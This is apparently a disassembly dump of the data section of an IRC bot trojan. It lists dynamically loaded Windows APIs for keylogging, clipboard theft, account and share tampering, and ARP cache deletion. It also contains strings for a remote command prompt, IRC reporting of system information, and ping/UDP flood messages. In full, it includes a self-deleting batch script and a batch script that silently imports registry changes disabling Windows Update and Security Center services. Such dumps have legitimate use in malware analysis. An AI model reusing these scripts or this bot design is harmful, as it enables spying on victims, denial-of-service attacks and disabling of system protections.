aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4089D6+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4089D6+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4089D6:loc_409529o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089D6+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089D6+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089D6+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089D6+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4089D6:loc_4094B5o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089D6+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4089D6+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4089D6:loc_40946Bo
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089D6+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089D6+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4089D6:loc_409421o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089D6+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4089D6+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4089D6+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4089D6+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4089D6+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4089D6+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4089D6+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089D6+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4089D6+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4089D6+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4089D6+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4089D6:loc_409316o
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4089D6+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4089D6+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4089D6+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4089D6:loc_4092B7o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089D6+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4089D6+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4089D6+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089D6+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089D6+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4089D6+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4089D6+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4089D6+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089D6+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089D6+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089D6+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4089D6:loc_409197o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4089D6+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4089D6+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4089D6+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4089D6+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_4089D6+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4089D6+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4089D6+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4089D6+62Do
; seg002:0042C59Co
align 4
aListen db 'listen',0 ; DATA XREF: sub_4089D6+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4089D6+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4089D6+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4089D6+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_4089D6+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_4089D6+5DFo
align 10h
aSend db 'send',0 ; DATA XREF: sub_4089D6+5D2o
; seg000:0040EF10o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_4089D6+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_4089D6+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_4089D6+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_4089D6+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4089D6+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4089D6+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_4089D6+577o
; seg002:0042C9ACo
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4089D6+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_4089D6+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4089D6+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4089D6+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4089D6+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4089D6+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4089D6+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4089D6+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4089D6+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4089D6+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4089D6+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4089D6+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4089D6+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4089D6+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4089D6+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4089D6+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089D6+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4089D6+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4089D6+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4089D6:loc_408DE5o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4089D6:loc_408DBDo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089D6+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089D6+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4089D6+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4089D6+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4089D6+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4089D6+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4089D6+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4089D6:loc_408D0Fo
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089D6+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089D6+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4089D6:loc_408CCAo
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4089D6+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4089D6+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4089D6+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4089D6+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4089D6+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4089D6+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4089D6:loc_408C35o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4089D6+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4089D6+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4089D6+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089D6:loc_408BCEo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4089D6+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4089D6+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4089D6+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4089D6+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4089D6+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4089D6+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4089D6+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4089D6+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4089D6:loc_408B0Bo
; sub_41E6CE+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089D6:loc_408ADEo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089D6+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089D6+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4089D6+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4089D6+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089D6+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089D6+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4089D6+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4089D6+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4089D6+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089D6+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4089D6+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4089D6+Ao
align 4
dword_4299D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_409663+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_409663+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409663+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409663+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409663+230o
align 10h
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+194o
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409663+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409663+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409663+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+90o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409663+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409663+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_409CB1+5o
; sub_414376+18o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: seg000:00409D4Fo
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DD7+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409DF9+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409DF9+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409DF9+48o
align 4
aCAb3_bat db 'c:\ab3.bat',0 ; DATA XREF: sub_409F81+29o
align 4
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409F81+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 10h
unk_42B330 db 2 ; DATA XREF: sub_40A077:loc_40A136o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_42B374 db 2 ; DATA XREF: sub_40A077:loc_40A104o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42B3B8 db 2 ; DATA XREF: sub_40A077:loc_40A0D0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 10h
unk_42B3F0 db 2 ; DATA XREF: sub_40A077+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42B434 db 2 ; DATA XREF: seg000:0040A337o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42B474 db 2 ; DATA XREF: seg000:0040A269o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 10h
dword_42B4B0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A387+1C6o
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 10h
dword_42B4F0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A387+8Eo
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:0040A638o
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h, 6F432020h, 20646C75h, 20746F6Eh
dd 64616572h, 74616420h, 72662061h, 70206D6Fh, 63636F72h
dd 2E737365h, 0A0Dh, 28026502h, 62302E31h, 20282029h, 2E646D63h
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 68207373h, 74207361h, 696D7265h, 6574616Eh, 0A0D2E64h
dd 0
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess',0Dh,0Ah,0
align 10h
dword_42B600 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A7E1+194o
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 4
dword_42B648 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A7E1+14Co
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A7E1+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A996+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40AAB5+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
